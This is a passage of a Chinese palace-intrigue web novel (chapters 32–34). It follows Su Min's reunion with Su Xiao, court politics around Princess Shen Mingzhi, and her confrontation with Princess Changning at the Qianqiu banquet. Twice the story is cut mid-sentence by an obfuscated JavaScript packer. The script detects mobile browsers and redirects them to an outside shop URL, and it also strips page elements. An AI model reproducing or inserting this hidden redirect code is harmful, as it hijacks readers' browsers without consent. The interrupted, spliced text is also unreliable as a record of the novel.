是以,其他五部有一个尚书,左右两个侍郎,而兵部就可能在一时间有一个尚书,五六个侍郎。现今的兵部比较凋敝,只有一个白胡子尚书杜育博、一对左右侍郎负责日常运作,还有一个等待考课的陆侍郎。只是作为封疆大吏的陆都督名气太响了,以至于没几个喊他陆侍郎的。 至于他的名气因何而响,一大部分原因应该是他那的张脸。 那句“露宿桥头”的下半句歌谣里的“露”就是他陆微,但他和歌谣里其他的男子不同,他是个鳏夫。他的夫人很早就去世了,也没有留下一儿半女,是故每回陆微回京述职,就如夏至所说,陆家的门前密密麻麻都是上门说亲的媒人。 陆微出身不好,但他军功过于卓著,人长得也标志,据说性子也极其温柔体贴,最重要的是,他在圣上面前很得脸。所以,即便是现在的风气不佳,依旧以门第出身论婚姻,陆微在化隆的婚恋场上还是极其吃香。 不过陆微丧妻之后从未透露出想要娶妻的意思,但这依旧没有消磨掉媒人的热情。 思绪翻涌,沈明枳又想起了很多人很多事,最后只能再叹一句:陆微当真是极其厚道的人。 “诶?边上那个是谁?该不会是急诏回京的苏都督吧?” 32. 第三十二章 万里高 霞光万缎,苏悯骑在高头大马上,恍惚在僻静的街巷角落里看见了熟人的影子。他心中起疑,别过了随他一同入城的陆微,调转马头,兀自朝那条有些荒凉的巷子奔去。 “苏霄?” 苏霄一转身,就见马上的苏悯素服在身,眉宇之间多了凌厉杀伐之气,可与自己说话时,仍是多年前水乡泽国里落魄的年少温和。 苏悯盯着她看了好久,确定眼前的女子就是那个月余前葬身苏州一场无名大火的苏霄后,才有些似惊似喜、似梦似幻地翻身下马,“你还活着?怎么在这儿?” 他乡遇故知,苏霄也很高兴,引着苏悯往住处走的脚步都多了几分欢快,“说来话长。不过我现在不叫苏霄,我的姨娘姓肖,所以我叫肖霄。” “霄霄?”苏悯难得笑得高兴,拴了马,进屋打量起小院,“真好,你还活着,对了,苏霁怎么样了?” 苏霄给他倒了一碗白水:“她如愿以偿了,由我舅母陪着去了岭南。” 苏悯欣慰地点点头:“也好也好,她和你一样从小就喜欢医理,有你舅舅舅母照看,想来今后她真的能够如愿了。” 他端起白水一饮而尽,“说吧,你怎么来的化隆?你为何不跟着苏霁一起回岭南?” 苏霄再给他满上,“姨娘葬在那里。” 苏悯端着水碗垂下了眼。 苏霄给自己也倒了一碗,“苏州也是同样,姨娘死在那里,我也不想呆在那里。” 这话不知勾起了苏悯什么伤心往事,过了好久,苏悯才又问:“为什么来化隆?人生地不熟的,几千里路途,你怎么来的?改了名,那你的户籍呢?还有苏州那场大火,你放的?肖舅母和苏霁知不知道你在这里?” 苏霄咬唇纠结了片刻,终于坦白:“堂叔,你还记得我和你提过的那个萧郎吗?” 苏悯微微一怔,听她声音婉转,说起那个“萧郎”时不乏温柔缱绻:“他在化隆,是他带我来的化隆,也是他亲自帮我办的户籍,那把火,是我放的,舅母和苏霁并不知道我还活着,这屋子也是他帮我赁的,还有我的差事——” “差事?” “嗯,他走了门路,把我塞进了太医院,专门侍奉中宫皇后的方太医收我为徒弟,过两日,我就要进宫了。” 苏悯愣在原地,过了半晌才找回自己的声音:“霄霄,他不姓‘萧’吧,满朝上下除了刑部萧尚书,我再也找不出第二个能有此本事的萧郎了。” 苏霄低垂着眉眼,轻轻点头。 想到了刑部,一个念头在苏悯的脑海里冒了出来,旋即,他对上了苏霄那双总能盈上一片晶莹苦楚的眼睛,这个猜测就此落地,“是郇海山,郇寰?” 苏霄吐出一口气,“堂叔怎么知道是他?” 苏悯忽然有些痛惜地笑了一下:“他母家是兰陵萧氏,刑部萧尚书是他的叔外祖父,近期又去了苏州,手中有钱,宫里有人,还曾落魄地走过一趟岭南,只有他了。原来这个萧郎就是他,也难怪你后来那样用心地钻研仵作之事。” 屋内没有点灯,天光很快就黯淡了下来。苏悯目力极佳,却不忍去看苏霄的落寞。他不必问,就知道苏霄很喜欢郇寰。也是,郇寰有资本勾得上至天璜贵女、下至乡野村妇都为之驻足,近来京中还掀起了一场风波,兜来绕去,全冲着他去的。方才他还看见了兖国公主的车架,他实在不知该如何与苏霄说这些。 “可是霄霄,他早就成亲了,他的公主还已经……” “我都知道。” 苏悯心里着急:“那他对你呢?只是报恩?” 苏霄咬唇不语。 “他逾越了吗?” 苏霄摇头。 苏悯发誓,如果郇寰真敢在一边吊着苏霄,一边和兖国公主夫妻情长,反正他们两个已经恶交了,他也不怕让郇寰不好过点。可如果真是这样,苏霄该是高兴的吧,毕竟她能够与心上人短暂地相依相伴,对于他们这些活得孤独又艰难的人来说,这该是怎样做梦般的渴望。 “那接下来……你打算怎么办?化隆居大不易,太医院也是是非之地,他帮你进去也有他的谋算,他恩也报了,往后就只有你一个人,京城里随便打下滴雨就能让我们抬不起头。霄霄,真不回岭南吗?那里好歹有舅舅舅母、有苏霁,有亲人,我在化隆也呆不久,我也不是什么天大的官无法时时帮上你……” “堂叔。”苏霄的声音有些虚弱,有些发颤,还有些泪意,可她的话说得坚定、说得绝无转移:“己欲立而立人,己欲达而达人。堂叔,你是这样的人。你看见我与苏霁可怜,就想到了当初的自己,但苏家的可怜之人岂止我一个?你帮得过来吗?当年姨娘病故,你帮了我,让他们允许我扶棺南下,可他们胁迫你,让你帮他们办事。” 苏悯也有些哽咽:“往事就不要说了——这些圣贤之书你从来不爱读,现在也是为了他吧。” “现在苏家没了,他们会牵连到你吗?” 苏悯沉默了片刻,迟疑地摇了摇头。 “那就好,那就好。堂叔,现在掣肘没了,我们都自由了,苏霁说她是雨过天晴,前面就是好日子了,堂叔,你也是,我也是。我喜欢医理,现在能一心只做自己所爱之事,而不用担心其他,这是做梦都没有的日子,堂叔,你要替我高兴啊。” “可你一个人……” “我一个人难道不行吗?从前,你去了边塞,苏霁嫁去了姜家,舅母和舅舅都在岭南,家里也就只有我一个人,我不一样好好地活到了现在?堂叔,你放心,我一定会好好的。我们这些孩子,从小没爹疼,又没有娘,名字也是草草取的,她叫苏霁,我叫苏霄,你叫苏悯。可是你看,苏霁如愿了,你现在也是人人敬畏的安西都督了,我也该立起来了。自有云霄万里高,堂叔,你要信我。” 苏悯久久凝视着她,昏暗中已看不清她的形容,可苏悯看得清她的心,“苏霄,如果你是男儿,必当会有一番作为。” 苏霄笑了,两行清泪就此滑落,“堂叔,我是女儿,难道我就不能有作为吗?” 满朝震惊,常在深宫的长荣公主居然挺起了孕肚,逼问之下,张四郎主动承认。长荣生母荣妃只有这一个女儿可以指望,干脆破罐子破摔,学着当年的寇妃要替宣国抢齐珏一样地撒泼,揪着女儿鼓起来的肚子说事,一时间,宫里宫外,不可开交。 沈明枳进宫的时候,圣上正被寇妃、荣妃缠得头痛欲裂。 南巡前圣上被诸王推诿一场闹剧气得吐血,朝野上下都以为不行了,留在京中的皇子王孙个个摩拳擦掌,结果一天天地,圣上不见衰颓反而硬朗,现在还可以一天摔百儿八十个瓶子来表示龙颜大怒。 “朕的鹇儿可算来了。”圣上连忙指挥着内监收拾碎了一地的瓶瓶罐罐,连声提醒沈明枳别踩到脚。 沈明枳言辞关切:“父皇这几日可有好好吃饭?” 圣上的脸色松动,比了个手势:“有有有,一天八碗不在话下。” 沈明枳轻笑两声。 圣上边指挥内监给公主搬椅子,边上下打量她:“你身子怎么样了,身子不爽快就不要到处走了,若是想娘娘,就直接住宫里,有御医照看更稳妥。对了,你在城外小住,郇海山返京述了职,朕给了他三天假,他没去亲自接你?” 沈明枳微笑道:“家中事忙,我又偷闲,烂摊子全留给了他,凡事都要他来掌控,忙得根本抽不开身,所以就没让他来接,父皇可不要因此怪罪于他。” 圣上指着笑盈盈的沈明枳不知说什么好,“行行行,不怪他就行了。现在你回了府,他却天天呆在刑部,真不像话,朕瞧着刑部也没这么多事,萧尚书是他长辈,又怎舍得糟践他?真是不像话……” “为君尽忠、为民竭力,这是他当臣子的本分,看见臣下公务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈明枳也不装傻,说得也坦然:“若女儿是长荣,那决计不会与情郎偷定私盟,只是心中思念,成日愁容满面,爹爹疼女儿那必然会为此忧心。若是长宁,事已至此,只能成全,总不好拆散一对有情之人、让长辈棒打鸳鸯,人生十几载,至而今,时时受百姓供养,便当肩负大楚公主的使命,如大姐姐那样,出塞和亲,又只能让爹爹和娘娘挂心,可不是怎么样都不省心么。” 圣上本想笑笑了事,但“大姐姐”三个字犹如空谷回音,绕梁不绝,让他本已空空的脑海再度被往事填满。他已经记不得自己是怎么打发沈明枳回去的了,只知回神的一刹那,殿内两个小内监垂手侍立,书房外传来了庞大总管的通报,说是苏悯已候在了殿外。 沈明枳见过了皇后,稍立莲花池边阑干,有些出神。罗美人就是这时款款走来的,她们聊了两句,郇寰循着内监的指引,匆匆而来。 郇寰少见沈明枳与哪位宫妃聊得这样热络,而这位罗美人他更是听都未曾听过,她们两个却如同相识了很多年一般。 他自然不知,宣国下药的那个端午宴罗美人也在,她就在不远处恰巧看见了锁门的婢女,是宣国公主身边的丫头。至于她为何不在曲江边看龙舟竞渡,大抵是位分较低而名声不显的下场。 沈明枳收敛了自己有限的热情,与罗美人话别。等罗美人走了,郇寰才笑着走上来,用手覆住沈明枳的手,替她揉着腰,不着痕迹地把她从池子边上拐到了石子路上,“殿下怎么在这儿?小心脚滑。” 人还没有走远,来往皆是宫女内监,沈明枳慌忙拍掉了他的手,仔细见四下并无人经过,只有月珰和冬至守在不远处谈笑,方才敛眉低声呵斥:“这是在宫里,注意分寸。” 刚知道漉水赝品一事并未未因寇一爵的搅和而泡汤,郇寰心情不错,很乐意装委屈来闹她:“在家里你也是这么说的,分寸分寸……” 沈明枳不是在说笑,脸一沉,“你别诬蔑我。” 郇寰轻笑两声:“好,我诬蔑你,那鹇儿可不要生气。” 说罢,规规矩矩地要扶着她往御花园外走,“方才那位是?” “罗美人,宣平侯家的那个罗,不过很多年前掉了孩子,再难生育。”沈明枳冷冷解释,一口气堵住了郇寰所有的问题。 郇寰点点头,刚想扯点别的话题不至于冷场,不过几步路,就见另一侧小径上走来几个人,谈笑风生,见了他们两个都是一愣,随后收敛了神色快步前来。 33. 第三十三章 千秋节 “参见兖国公主。”这一声铿锵,渊停岳峙之感恰恰符合这一身绯袍锦鸡补子的青年的面相。 沈明枳颔首回礼,郇寰简单地与之互换礼节:“原来是总宪。” 柳曦既扫了一眼郇寰身上的官服,淡淡回应:“郇侯也在。” 沈明枳瞥了一眼在左都御史面前仍拿捏足了傲气的郇寰。他身上有爵,是三品侍郎,可在朝廷里论资排辈,官服在身,御史在前,见了柳曦既就算不行下属见上官的礼仪,总也得多客气上几分吧?柳曦既多敬他一分,不与他计较这些虚礼,可面子做不做是他的态度。 郇寰自然不知沈明枳在恼怒些什么。 柳曦既退了一步,让到了边上,方才让自己身后的三个人走上前来。 陆微是近来常见的,而他左手边立着两个身量差不多的青年,一个面色偏黑,眉目硬朗,只是胡子不如其他人收拾得干净;另一个是儒将风度,只是唇色微白,气色不佳。 沈明枳抢在他们行礼前笑道:“原来是云仑韦将军和靖臣窦将军,失礼了。” “末将参见兖国公主,问公主安。” 驻守西北长关的云仑将军与因病滞留的靖臣将军是昨日抵京的,韦不决前脚刚到,后脚窦宙就来了,今日一同入宫面圣是惯例,只是——沈明枳眼神瞟向他们身后的那条小径,那片郁郁葱葱的园子,那巍峨高耸的楼台殿宇。 那是东宫,他们脚下的是东宫的路,而这些人不是东宫的旧臣就是曾受过东宫的恩惠。 君子防未然,不处嫌疑间。 太不应该了。 等与几个人擦开距离,郇寰脸上那几分客气的笑也淡了许多。 昭文太子已经不在了,但东宫犹存,曾经的太子幕僚故地重游,不知会有多少感慨。 他收回思绪,蓦然心惊,仿佛第一次才知道,沈明枳也是东宫的人。 “罪过罪过,几位大人竟然已经走到这儿了,圣上命奴婢前来引路,奴婢让诸位大人久等了。” 郇寰和沈明枳一齐偏头望了过去,就见韦不决与窦宙对视一眼,一同看向了凝望莲花池盈盈水面的柳曦既,柳曦既不说话不回神,无奈之下,四个人里官衔最低的陆微开了口:“武夫粗人,腿脚总是要快上一些,中贵人不必自责,劳请引路吧。” 那引路的年轻内监连忙恭请,临走时居然还敢往郇寰和沈明枳这里瞟上一眼。 沈明枳觉得他面熟,貌似是常跟在庞大总管身边的小内监,郇寰则直接介绍:“他姓缪,胡全德家那位缪姨娘的弟弟。” 沈明枳收了目光,“看来你已经和他打过照面了。” “嗯。” 见郇寰不再说话,沈明枳心知他是劳心钻研、业已深陷其中。她原本还以为是他们几个私底下联络感情,竟不想圣上全知道,听话头甚至可能是圣上安排他们在东宫相会、然后再一起觐见。这其中深意,就算是深挖上几天几夜都未必能够竭尽。 猝不及防地,八月千秋节前夕,宫中传来旨意,册封长宁公主为义律大妃,后廷待嫁,并由新任靖臣将军担任使臣,重兵护送出关。至于使臣,尚未擢定,但朝中关于新任靖臣将军的人选多有猜测。就凭往年吏部和都察院共议的速度,再加上兵部的掺和,云仑将军韦不决与前靖臣将军窦宙多半是赶不上护送和亲公主出关的,当然也有例外,可兵部还挂着一位考课许久的陆侍郎,圣心所在,明眼人一目了然。 当然,没有人会去烧苏悯的冷灶,尤其是随后圣上有旨,越过考课轮换,直接将人调到了东都兵马指挥使的位子上,彻底断了旁人明目张胆的巴结。 之所以不能“明目张胆”,是因为此番调动,是明升暗降。安西都督多好,哪怕只是云仑将军帐下的一个属官,边疆不平、战事不息,军功就不会断、前途就不会败,他勤勤恳恳、兢兢业业,就算是封疆一方也不是虚言妄语。东都兵马指挥使就不一样了,虽是天子脚下、三秦之地,与皇城兵马司、废都兵马司一同拱卫京畿重地,可是非多、纷乱多、功劳少而费力多,历来都是武将退休养老、抑或者被“流放贬斥”的去处,就算他苏悯任劳任怨地干上半辈子,到顶了也不过一个正三品指挥使荣养终身,见了十二亲军卫里平级的指挥使还要矮上半头。 但苏家摊上了魏赵党争之事,死的死、流的流,独独苏悯能够全身而退,可见别有手段,还得要“巴结”。 郇寰对他也更生了几分敬意,敬意之后,就是忌惮。毕竟寇一爵捅的这一刀,让他与苏悯之间建立起的微薄的信任荡然无存,非但如此,大抵赵王一派在苏悯心里也都成了言而无信之辈。 长宁和亲,苏悯身退,流言四起,不提这三件事附带的波及牵扯,郇寰的心情就足够糟糕了。至千秋节那日,唯一能娱乐片刻的,大概是宫前殿匆匆一瞥时,寇一爵极其难看的一张脸。 可出于赵王的利益考虑,他真心希望和寇一爵的这场赌博里,胜的是寇一爵。但他还能说些什么呢?好歹赝品的把柄全捏在手中,寇一爵再不争气也没糊涂到把他推出去遮风挡雨。 千秋大节,圣上照例先在宫前殿摆酒庆生,接见不便入后廷的外臣使节,顺便给云仑、靖臣两大将军洗尘,过午再摆驾仪銮殿,由皇后主持接下来的中宫家宴。 郇寰既是朝廷外臣又是皇家驸马,索性由着自己放纵了一回,逃了宫前殿上庞杂的人情往来,慢吞吞等沈明枳装束妥贴后,共赴仪銮酒宴。 自安福门入宫时,长街横过御花园,入秋之后的莲花池里碧波荡漾,枯荷垂雨,池中的东风亭飒然脱出,怡然独立于这一片的热闹非凡。 风就是从亭中来的,沈明枳抬头时就被吹迷了眼睛,郇寰心事重重,可三分心思在脚下路,三分心思在朝中事,剩下四分全在沈明枳身上。他挡到沈明枳面前,刚要开口问上一句,沈明枳就已经揉着眼睛,兀自往仪銮殿去了。 他只能迈开步子赶了上去。 他们到的时候,大厅里已经闹哄哄,人员齐备,连已经出降多年的邕国公主和赵驸马都早早从外地赶回,只为在今日恭祝圣上千秋百代、岁岁如新。 “说曹操曹操到,鹇儿你可算来了。”沈明枳和邕国公主亲亲热热地抱在一块儿,郇寰和赵驸马互相道喜。 客套完,郇寰一扫殿中,见靖安世子齐骞都跟着赵王妃来了,独独少了一个最重要的人。他这个念头刚起,就听沈明枳一边朝坐在最上首忙不过来的皇后示礼,一边和邕国说笑,“八姐姐这是又瘦了,诶?娘娘身边怎么少了个位子?” “哎,你怀着身子呢,别累着了,快坐快坐。”邕国公主一把把沈明枳按到座位里,伸长脖子一望,果见皇后右边坐着英国公府的老太太,而左边并未设坐,金尊玉贵的宁国公夫人只是站着。邕国稍稍一愣,旋即笑了:“若不是你提起,我倒也没发现,不过也是,咱们这位长公主姑姑常年是神龙见首不见尾的,也就你,满后宫最体贴细心了,还记着她。” 沈明枳笑着把话头岔了回去:“姐姐姐夫的宝贝莲儿呢?今天没来?” “嗳,小孩子最闹腾了,今天就没带来……你放心吧,教人看着呢,出不了岔子的。” 沈明枳边寻找着临川,边笑道:“我上回进宫还听父皇念叨她呢,父皇那么喜欢她,名字都是他的取的,你再不带进宫给他瞧瞧,当心他老人家发脾气。” “嗳,等你这孩子生下来了——”邕国轻抚了抚沈明枳的稍稍隆起的下腹,抬头含笑又看了一眼和赵驸马说这话的郇寰,“到时候父皇得宠成什么样子?父皇宠、娘娘宠,我瞧着郇侯在你这‘严母’面前都是‘慈父’,哎呦,那宠得真是……” 邕国笑了起来,沈明枳扯了扯唇角,没去看郇寰,只在一抬眼间看见了落寞于角落的临川,正味如嚼蜡地啃着果点。一边的辛莘举杯朝自己示意,沈明枳颔首应下,刚打算起身去一探究竟,匆忙就见对面姑娘堆里,才看见自己的长乐骄傲地给自己施了一个礼。 “哇,这纹样我怎么 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这样一来,浙江的棋暂且废了,圣上心中也窝火,而寇一爵给魏王罗织的“兼并田亩”的罪名刚好给瞌睡之人递来了枕头,魏王派这些天过得无比艰难。可就是这样,顶着朝野上下千钧重压,在御史和六科的监视之下,魏王还敢大费周章、耗资颇多地给长乐公主准备这样奢靡的装束,郇寰倒不敢说这兄妹情谊有多么深厚。 沈明枳刚一坐下,就见魏王妃郑氏拉过一个年轻美妇,走上前来朝皇后盈盈一拜,“这是云仑将军的夫人。” “妾身郑氏,拜见皇后娘娘,见过诸位公主殿下。” “不决的夫人?快快,快起来,走近了让本宫瞧瞧。”皇后笑着朝她招手,等人走近了,拉起她的手,又仔细地看了又看,欣赏更盛:“确实标志、有天人之姿,好孩子,你是王妃本家的妹妹吧?” 郑夫人羞赧应是。 皇后轻轻叹出一口气:“荥阳郑氏,百年望族,好孩子,委屈你跟着不决呆在西北荒蛮之地了。不决是本宫看着长大的,从小在宫里就不是爱守规矩的,性子也粗犷些,自幼就想着建功立业,平日里他若对你有所疏忽,还只能请你多包容一点了。” “夫君待我很好。”郑夫人一着急就连声否认,反应过来后才更加难为情地要解释,结果被魏王妃打断了:“听听,现在咱们都知道啦,百炼钢也化为绕指柔,韦将军对家中的娘子那叫一个好啊!” 诸人都笑了起来。 郇寰也应景地轻笑一声,又低声凑到了沈明枳耳边:“郑夫人是正经的长房嫡女,魏王妃出身旁支,论起来倒攀不上她的一声‘姐姐’。” 前朝五姓七望向来不与外族通婚,时过境迁,虽然中天之日终薄西山,可荥阳郑氏居然愿意抬举韦不决,这倒稀奇。 他们郑氏世代兵戎,本是一个在承天殿上喊一声“郑大人”,满朝文武有一半要回头的大门阀,结果储位党争涉水太深,折损太过,天元年间勉强通过保举兖王的从龙之功稳住了地位,但不过短短十几年,郑氏出了一位驻守东北、战功卓著的宁海将军郑藩虢、现又出了一位炙手可热的魏王妃,真不可同日而语。 反观韦不决,虽然圣上的生母姓韦,天元帝续娶的继后也姓韦,他姓的就是这个韦,但韦家让圣上在登基之前吃尽苦头,不然以圣上思旧念旧的性子,何至于让慈宁宫空空不见太后。 沈明枳又想了想韦不决这个人的脾性。瘦死的骆驼比马大,也是,郑氏不抬举和皇家沾亲带故的韦不决,难道去抬举真正一穷二白家徒四壁的陆微?用长房嫡女来招赘苏悯他们也得说可惜浪费。 这就是世家,世世代代只许他们一家独大的世家。 圣上就是看见了他们的贪婪,所以才极力地抑门阀、轻世家。可世风顽固,不是一朝一夕就可以更改的,至于上一个试想改换天地的人,骨头已经烂了。 郇寰敏锐地觉出沈明枳心情低落。 34. 第三十四章 东风亭 若故太子三头六臂,那韦不决统领太子亲兵长缨卫必属其一。这是个奇人,他出门在外从不以韦氏子弟自居,若有不长眼的与他攀长辈交情,他还要生气。和皇后族侄乔致用一样,他也离经叛道了一辈子,结果兜兜转转,半生已过,他还是回到了家族,顺从长辈的安排,娶了一个门阀出身的妻子,走向而今所有世家子必然的结局。 沈明枳也是个离经叛道者,月死珠伤,芝焚蕙叹,她应当会替韦不决惋惜一句,也会替她自己惋惜一句。 郇寰再度凑过去挑起话头,温热的气息喷在她的耳畔,可还没碰到,那气息就结了霜,“在想什么?” 沈明枳将眼底情绪蛮力镇压,缓了片刻回复他:“我这三哥又多上一份助力,长乐以后要笑得更高兴了。” 闻言,实难辨别心中悲喜的郇寰强笑打趣:“我以为你看呆了。‘藐姑射之山,有神人居焉,肌肤若冰雪,绰约如处子’,皇后娘娘说的‘天人之姿’就是如此吧?” 沈明枳又仔细看了一眼郑夫人的模样,不经皱眉:“你才看呆了。” 见她上钩,郇寰真的笑了:“孔夫子登东山而小鲁,登泰山而小天下,又云游于圣人之门者难为言,我既曾观于沧海,小波小浪又怎能称得上是水?” 这本是恭维她的话,可沈明枳莫名其妙地想到了苏州那位被孙先生夸得几乎举世无双的仵作娘子,曾经沧海,除却巫山,这番话来衬她也配得上。一念及此,沈明枳故作无谓地应了一声,目光扫见郇寰坐得极近,两指一并,学着他曾经那样扣上他的手腕:“分寸。” 郇寰垂眼无声笑了,规规矩矩挪远了半寸不到,又装作若无其事地折了折翻起的袖口,将方才沈明枳碰过的地方尽数遮去,等他抬头见周遭觥筹交错,俨然无需丝竹便气氛已浓。 “说到这个啊,我就着急!” 沈明枳抬头,见连日着急得嘴上冒泡的宁国公夫人又被自己的儿女气得半死:“我反正是管不了她了,她跟她弟弟一样,天天抱着一把琴躲来躲去,连碰都不让我碰,外头什么诗会啊雅集啊一个不去!说什么‘琴中自有天地,道义尽在琴音’,我看她这是疯魔了!还有老七,不是躲在书院就是在家捧着那把叫‘羊左’还是‘羊右’的琴看了又看,只看不弹,真不知又中了什么邪!” 皇后笑道:“听听,‘羊左之交’都忘干净了,玉尘的琴你还是少碰,晨铎的琴你也少碰,小心让他们沾染了你的‘俗气’!” 诸位夫人都笑了起来,楼夫人宽慰她:“宁夫人这是‘身在福中不知福’啊!若摊上我家老二那样的,真是要命了,一天到晚不着家还净惹事,若让你家玉尘和七郎做我的儿女,我岂不做梦都笑醒了!” 郇寰边听边打量沈明枳神色间的微变,正此时一个略微眼熟的宫女走上前来,朝沈明枳福礼:“十殿下,我家公主想和您说说话。” 定睛一看,沈明枳认出这个宫女就是长宁身边的碧落,也就是这一刹那功夫,郇寰也认出了来人,脸色一下子难看起来。 长宁要见她。 正好,她也要见长宁。 沈明枳略一思忖便要起身,可随即手便被郇寰握住,他抬头时双目充斥的是罕见真实的忧虑:“我同你一块儿去。” 碧落的笑脸一僵,沈明枳睨了这小宫女一眼,心中一个念头越发清晰。她轻轻抽回手,郇寰指腹划过她指尖时,她脸上已扬起了春风和煦的笑容,恍若即将要见的那个姑娘就是她心肝似的妹妹,“姑娘家想和我说说心里话,你一个大男人去干什么。” “这样吧,臣送殿下过去。”不容反驳地,郇寰起身重新牵起沈明枳的手,一扬下巴示意碧落带路。 东风亭里只有长宁一人独坐,春波芙蓉色的裙裳在秋风中猎猎起舞,桃花狐狸眼晕开了两团粉红,唇是红的、齿是白的,藕段般的一截脖子掩在飞扬的云鬓乌发中,撩去青丝的手又如同水葱莹润。 她是极美的,猎艳无数的浪子也要为之驻足。 沈明枳拢着袖子隔水相望,凝视她许久,耳边不知是记忆里的谁吟出了这句诗:“东风袅袅泛崇光”。可长宁望了过来,在望见郇寰的这一瞬间,黛眉紧缩,红颜失色,眼中流水般潺潺的情丝顿时如秋肃杀。 单独见到郇寰她本不会有此反应。 果然,长宁轻轻的声音随着秋风飘来:“你们夫妻当真恩爱。” 沈明枳淡淡一扫面无表情的郇寰,心中哂笑,拍了拍他还握着自己的手,将方才现下的温柔模样继续到底:“就在这里等吧。” 郇寰松手。 沈明枳褰裙缓缓走近,一伸手拂上朱红亭柱上的楹联,微笑看向长宁,将她的火气撩拨得更旺一些:“是啊,举案齐眉,相亲相爱。” “好一个相亲相爱!真好,不愧是你费尽心力抢来的如意郎君,如若你大费周章求来的这桩婚事,最后却过成了宣国与齐珏那副相看两厌的模样,你一向要强,绝对不会甘心的吧?” 毕竟是多少年专宠不衰的寇妃的女儿,哪怕是累日不吃不喝哭得憔悴,哪怕心肠淬了毒、似蛇蝎,说起刻薄辞文的长宁也让沈明枳看出了一种歹毒的惊艳,有种被蛇咬了、蝎子蛰了的错觉。 “日子过成什么样,看人。齐侯无论娶谁、宣国不论嫁谁,鸡飞狗跳、同床异梦在所难免,郇海山既不是齐侯,我亦不是宣国,我们的日子自然比他们好。” 长宁放肆地娇笑不止:“是啊,你不是宣国,他也不是齐珏。齐珏贪图潇洒自在,宣国贪图色欲皮肉,一个只想快意恩仇、游猎仗剑,一个只想着美少年,他们当然说不到一起去,只因为年少无知搭上了同一条贼船,这辈子就得绑在一起。” 她这番话里不知那些字眼戳中了沈明枳的疑心,可她还来不及细细揣摩这种怪异从何而来,就听长宁的声音里漾出了一份悲凉:“郇海山当然不是齐珏,我认识他的时候,他就已经入仕登科、心怀百姓天下,寄人篱下寒窗之苦他吃得,岭南瘴气恶俗之苦他吃得,他什么苦都吃得,他是有大志的人,为了讨父皇高兴、为了给哥哥挣名,所以他娶了你!” 温言软语陡转急下,长宁怒目戬手,直指沈明枳:“可你!你想的是什么?从小到大你装得温柔和顺,可你本性如何?为了得到,你又能装成何等模样?别以为我不知道,你跟着东宫读了圣贤之书,便也生出了牝鸡司晨的荒唐心思,不然——” 沈明枳眼光一转,见她久久萧瑟的眼里露出久违的得意兴奋:“不然,你怎会还和柳晢相亲相爱别有瓜葛?” 恍如“柳晢”这个名字就是一道惊雷从当空劈下,沈明枳怔愣瞬息,眉头才慢慢纠结到了一起。这绝对是她此行没有料到的部分,那种胜券在握的自信随着眼前长宁的明艳动人越发清晰而逐渐隐散。但也只是失神弹指,沈明枳就稳住了心神,她轻嗤一声,语气口吻越发淡薄:“长宁,话不能乱说,说多了,想说也不能够了。还有,直呼其名是为大不敬,寇妃娘娘就是这么教你规矩的吗?哦,我知道了,她眼里只有她的宝贝大女儿和赵王这个儿子,何曾亲自教导过你这个不受宠的?她心里满不在乎,底下人更见风使舵,有谁真心指教过你?” 长宁僵硬一瞬,但她强忍着心头泛酸,挤眉哂笑:“我说中了对吗?你竟然也有狗急跳墙的一天。” 旋即,她仰天长笑,“居然是真的?竟然是真的!是你求的、还是父皇看在东宫的面子上给你指的?这般的人物,只要你开口父皇会答应,可见他偏心啊,一颗心几乎都长在你身上了!从小到大,什么好的都紧着你,他瞧上了楼家却瞧不上楼复,瞧上了宁国公府又不满意宁七,满朝文武英才挑下来没几个入眼的,估计对柳曦既年长你许多岁也颇有微词吧?呵,这普天之下,当真只有你一人是他的宝贝女儿。” 长宁这个丫头,还是掉进了自己挖好的陷阱里。 沈明枳垂眼,默默听着她憋闷许久的牢骚:“可你的母亲不过是一个没有名分的下贱宫女,甚至连宫女都不是,他们说你是从宫外抱回来的,指不定就是哪个荒野村妇生的。可你又凭什么这么好运?你也不是皇后生的,凭着你大姐姐出塞和亲死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514332|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,父皇愧疚,皇后伤心,他们便将对女儿的愧疚全都换来宠你这个替代品?太子也宠你,这坤宁、东宫两宫上下哪一个不喜欢你?那些个蹬鼻子上脸倚老卖老的前朝老头子也要夸你?为什么?为什么所有人都偏向你?苍天也这么偏心,让你想要的东西就能得到,想办成的事情就能办成,嫁谁就能嫁谁!” “从小到大,从宫里到宫外——”长宁已经控制不住滴下泪来,这一口气堵在心口让她浑身的血液都沸腾了。可她哽咽着哽咽着,就突然笑了出来,“长平,你讨厌你,我恨你!现在好了,我终于不用受制于你了,明天,化隆上下都将知道,太子旧臣和太子幼妹,关系匪浅!” 她笑出了几分得意与几分恍然:“你说咱们这些野心勃勃的哥哥们会怎么看柳曦既?他押了东宫,结果东宫死了,现在只能走大路,人人都要赞一句不偏不倚!如果现在他们知道,原来柳曦既与你有过婚约,离成亲就差那么一步,你又一意孤行要去南巡,名有了、利有了——” 长宁蓄满泪水的眼里流出了怨毒:“他们都是人精,谁猜不出这意味着什么?太子已死而东宫犹在!隐去了明面上的联系,你们背地里谋划夺储争位,柳曦既还是二品大员,执掌察院,他的老师是卜栾枝,霍西台也对他百般提携,阎阁老等都赞赏有加,视他为继路后人。这些人啊……上至部堂阁老,下至御史长吏,哪一个不是他们的门人故旧,哪一个不曾受他们的提携关照!他们或死或退,可柳曦既还在台前,天下仕子千万,他岂不是一呼百应?我看倒比郭明修这个半路出家的次辅来得威风!” 沈明枳不寒而栗。这番话固然耸人,也有不少添油加醋的过分之说,但说出这番话的人是从前那个只知吃喝玩乐、不务正业的长宁,这才是震住沈明枳的关键之处。但转念一想,沈明枳重新了然:若非自己从小到大都瞎了眼睛没看出好赖,那就是有人教她这么说的! 这就更加可怕了。 